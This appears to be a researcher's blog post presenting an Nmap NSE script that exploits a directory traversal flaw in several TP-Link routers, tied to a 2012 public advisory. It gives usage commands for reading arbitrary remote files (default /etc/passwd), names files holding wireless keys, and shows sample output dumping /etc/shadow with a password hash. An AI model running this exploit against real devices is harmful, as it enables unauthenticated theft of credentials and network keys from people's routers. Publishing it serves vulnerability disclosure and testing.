http-tplink-dir-traversal

I wrote a NSE script to exploit a path traversal vulnerability in several TP-Link access points.

description = [[
Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciate
any help confirming the vulnerability in other models.
Advisory:
* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
Other interesting files:
* /tmp/topology.cnf (Wireless configuration)
* /tmp/ath0.ap_bss (Wireless encryption key)
]]
– @usage nmap -p80 –script http-tplink-dir-traversal.nse <target>
– @usage nmap -p80 -Pn -n –script http-tplink-dir-traversal.nse <target>
– @usage nmap -p80 –script http-tplink-dir-traversal.nse –script-args rfile=/etc/topology.conf -d -n -Pn <target>
– @output
– PORT STATE SERVICE REASON
– 80/tcp open http syn-ack
– | http-tplink-dir-traversal:
– | VULNERABLE:
– | Path traversal vulnerability in several TP-Link wireless routers
– | State: VULNERABLE (Exploitable)
– | Description:
– | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
– | This vulnerability can be exploited remotely and without authenticatication.
– | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
– | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
– | Disclosure date: 2012-06-18
– | Extra information:
– | /etc/shadow :
– |
– | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
– | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
– | bin::10933:0:99999:7:::
– | daemon::10933:0:99999:7:::
– | adm::10933:0:99999:7:::
– | lp:*:10933:0:99999:7:::
– | sync:*:10933:0:99999:7:::
– | shutdown:*:10933:0:99999:7:::
– | halt:*:10933:0:99999:7:::
– | uucp:*:10933:0:99999:7:::
– | operator:*:10933:0:99999:7:::
– | nobody::10933:0:99999:7:::
– | ap71::10933:0:99999:7:::
– |
– | References:
– |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
– @args http-tplink-dir-traversal.rfile Remote file to download. Default: /etc/passwd
– @args http-tplink-dir-traversal.outfile If set it saves the remote file to this location.

 

Resources 

http-tplink-dir-traversal on Github

dotdotpwn log

calderpwn

Infosec consultant | Software dev | Open Source contributor | Speaker

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